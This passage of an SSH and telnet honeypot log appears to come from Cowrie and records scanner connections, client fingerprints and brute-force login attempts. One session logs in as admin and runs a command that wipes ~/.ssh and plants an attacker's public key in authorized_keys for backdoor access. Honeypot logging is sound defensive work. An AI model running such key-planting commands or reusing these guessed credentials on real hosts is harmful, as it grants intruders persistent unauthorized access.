cm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:17.200318Z","src_ip":"186.113.245.157","session":"a9645b7c361f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git2019","message":"login attempt [git/git2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:17.616858Z","src_ip":"186.113.245.157","session":"a9645b7c361f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:18.717544Z","src_ip":"186.113.245.157","session":"a9645b7c361f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":37652,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e136c6cb9e4","protocol":"ssh","message":"New connection: 194.59.206.2:37652 (10.17.0.5:22) [session: 3e136c6cb9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:19.455213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:19.460103Z","src_ip":"194.59.206.2","session":"3e136c6cb9e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:19.546769Z","src_ip":"194.59.206.2","session":"3e136c6cb9e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:19.638756Z","src_ip":"194.59.206.2","session":"3e136c6cb9e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":51494,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6547becbc81","protocol":"ssh","message":"New connection: 152.32.162.42:51494 (10.17.0.5:22) [session: a6547becbc81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:27.502407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:27.506345Z","src_ip":"152.32.162.42","session":"a6547becbc81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:27.752816Z","src_ip":"152.32.162.42","session":"a6547becbc81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password999","message":"login attempt [test/password999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:28.772960Z","src_ip":"152.32.162.42","session":"a6547becbc81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:30.024815Z","src_ip":"152.32.162.42","session":"a6547becbc81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:37.004620Z","src_ip":"14.103.127.97","session":"eb7cb64c7fbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.213.232","src_port":27100,"dst_ip":"159.203.135.109","dst_port":23,"session":"d244f7e48f39","protocol":"telnet","message":"New connection: 45.181.213.232:27100 (159.203.135.109:23) [session: d244f7e48f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:44.199230Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51562,"dst_ip":"10.17.0.5","dst_port":23,"session":"151f559233d5","protocol":"telnet","message":"New connection: 38.54.119.93:51562 (10.17.0.5:23) [session: 151f559233d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:45.758868Z"}
{"eventid":"cowrie.session.closed","duration":6.16664457321167,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:51.925393Z","src_ip":"38.54.119.93","session":"151f559233d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.493810653686523,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:57.692934Z","src_ip":"45.181.213.232","session":"d244f7e48f39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":62648,"dst_ip":"10.17.0.5","dst_port":22,"session":"465f78be28b0","protocol":"ssh","message":"New connection: 177.85.247.230:62648 (10.17.0.5:22) [session: 465f78be28b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:59.854588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:59.859558Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:13:59.962133Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:00.404963Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:00.674206Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:00.677666Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:00.683218Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33108,"dst_ip":"10.17.0.5","dst_port":23,"session":"9098db57db3e","protocol":"telnet","message":"New connection: 38.54.119.93:33108 (10.17.0.5:23) [session: 9098db57db3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:00.693519Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:00.792622Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":43860,"dst_ip":"159.203.135.109","dst_port":22,"session":"570bd2ea0681","protocol":"ssh","message":"New connection: 191.101.59.69:43860 (159.203.135.109:22) [session: 570bd2ea0681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:00.963528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:00.968710Z","src_ip":"191.101.59.69","session":"570bd2ea0681","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:01.043498Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:01.047116Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:01.059519Z","src_ip":"191.101.59.69","session":"570bd2ea0681","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:01.155377Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:01.159210Z","src_ip":"177.85.247.230","session":"465f78be28b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":62656,"dst_ip":"10.17.0.5","dst_port":22,"session":"542790acaa7e","protocol":"ssh","message":"New connection: 177.85.247.230:62656 (10.17.0.5:22) [session: 542790acaa7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:01.253358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:01.258375Z","src_ip":"177.85.247.230","session":"542790acaa7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:01.359963Z","src_ip":"177.85.247.230","session":"542790acaa7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"12345678","message":"login attempt [ftpuser1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:01.429236Z","src_ip":"191.101.59.69","session":"570bd2ea0681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:01.797191Z","src_ip":"177.85.247.230","session":"542790acaa7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:02.524987Z","src_ip":"191.101.59.69","session":"570bd2ea0681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.149","src_port":63660,"dst_ip":"159.203.135.109","dst_port":22,"session":"20eafe35b58f","protocol":"ssh","message":"New connection: 205.210.31.149:63660 (159.203.135.109:22) [session: 20eafe35b58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:02.784295Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:02.903142Z","src_ip":"177.85.247.230","session":"542790acaa7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":62662,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf1dc2b90469","protocol":"ssh","message":"New connection: 177.85.247.230:62662 (10.17.0.5:22) [session: bf1dc2b90469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:03.002882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:03.008910Z","src_ip":"177.85.247.230","session":"bf1dc2b90469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:03.110780Z","src_ip":"177.85.247.230","session":"bf1dc2b90469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:03.552432Z","src_ip":"177.85.247.230","session":"bf1dc2b90469","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:14:03.750402Z","src_ip":"205.210.31.149","session":"20eafe35b58f","protocol":"ssh"}
